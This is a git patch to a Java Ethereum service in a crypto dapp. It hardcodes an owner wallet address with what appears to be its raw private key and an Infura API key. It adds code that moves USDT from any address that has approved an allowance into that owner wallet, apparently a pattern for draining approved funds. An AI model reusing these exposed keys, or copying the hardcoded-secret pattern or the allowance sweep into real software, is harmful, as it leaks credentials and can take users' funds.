From 516d0d66f35129ce9e7f290a25e33b5e11cb4e1b Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 06 Apr 2022 11:11:01 +0800
Subject: [PATCH] fix

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java |  116 ++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 files changed, 104 insertions(+), 12 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index c729b1d..7f7543c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,5 +1,8 @@
 package cc.mrbird.febs.dapp.chain;
 
+import cc.mrbird.febs.common.exception.FebsException;
+import cn.hutool.core.collection.CollUtil;
+import com.alibaba.fastjson.JSONObject;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.StringUtils;
 import org.web3j.abi.FunctionEncoder;
@@ -51,6 +54,8 @@
 	//private static final String ETH_UTL = "http://120.55.86.146:8545";
 	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
 	private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+	private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
+	private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
 
 	public EthService() {
 		try {
@@ -142,16 +147,17 @@
 	}
 
 	public static void main(String[] args) throws IOException {
-		HttpService service = new HttpService(ETH_UTL);
-		Web3j build = Web3j.build(service);
-		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
-		String status = send.getResult().getStatus();
-		System.out.println(status);//0x1
+//		HttpService service = new HttpService(ETH_UTL);
+//		Web3j build = Web3j.build(service);
+//		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
+//		String status = send.getResult().getStatus();
+//		System.out.println(status);//0x1
 //		EthTransaction send = ethTransactionRequest.send();
 //		String input = send.getResult().getInput();
 //		System.out.println(input);
+		System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
 	}
 
 	/**
@@ -206,8 +212,9 @@
 		// Web3j web3j = Web3j.build(new
 		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
 		if(StringUtils.isBlank(gas)){
-			gas="70";
+			gas="35";
 		}
+
 		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
 		Credentials credentials = Credentials.create(privateKey);
 
@@ -225,25 +232,81 @@
 
 		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
 				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
 		        // 10*80000/1000000000=0.0008 手续费
 
 		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
 		String hexValue = Numeric.toHexString(signedMessage);
 
-		// log.debug("transfer hexValue:" + hexValue);
-
 		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
 		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
 		//return "hash";
+//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
 
 		if (ethSendTransaction.hasError()) {
-			// log.info("transfer error:", ethSendTransaction.getError().getMessage());
 			return "";
 		} else {
 			String transactionHash = ethSendTransaction.getTransactionHash();
 			// log.info("Transfer transactionHash:" + transactionHash);
 			return transactionHash;
+		}
+	}
+
+	public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+			throws InterruptedException, ExecutionException {
+		if(StringUtils.isBlank(gas)){
+			gas="35";
+		}
+
+		BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+		amount = amountPow.toPlainString();
+		if (amount.contains(".")) {
+			amount = amount.substring(0, amount.lastIndexOf("."));
+		}
+
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		Credentials credentials = Credentials.create(privateKey);
+
+		EthGetTransactionCount ethGetTransactionCount = web3j
+				.ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+		Function function = new Function("transferFrom",
+				Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+				Arrays.asList(new TypeReference<Type>() {
+				}));
+
+		String encodedFunction = FunctionEncoder.encode(function);
+
+		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+		// 10*80000/1000000000=0.0008 手续费
+
+		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+		String hexValue = Numeric.toHexString(signedMessage);
+
+		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+		//return "hash";
+//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+		if (ethSendTransaction.hasError()) {
+			return "";
+		} else {
+			String transactionHash = ethSendTransaction.getTransactionHash();
+			// log.info("Transfer transactionHash:" + transactionHash);
+			return transactionHash;
+		}
+	}
+
+	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+		try {
+			return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+		} catch (InterruptedException | ExecutionException e) {
+			e.printStackTrace();
+			return "";
 		}
 	}
 
@@ -278,5 +341,34 @@
 		}
 	}
 
+	public BigInteger ethAllowance(String address) {
+		return ethAllowance(OWNER_ADDRESS, address);
+	}
+
+	public BigInteger ethAllowance(String toAddress, String fromAddress) {
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		String methodName = "allowance";
+		List<TypeReference<?>> outputParameters = new ArrayList<>();
+		TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
+		outputParameters.add(typeReference);
+
+		Function function = new Function(methodName,
+				Arrays.asList(new Address(fromAddress), new Address(toAddress))
+				, outputParameters);
+		String data = FunctionEncoder.encode(function);
+		Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
+
+		EthCall ethCall = null;
+		try {
+			ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+			List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+			return (BigInteger) results.get(0).getValue();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return BigInteger.ZERO;
+	}
+
+
 
 }

--
Gitblit v1.9.1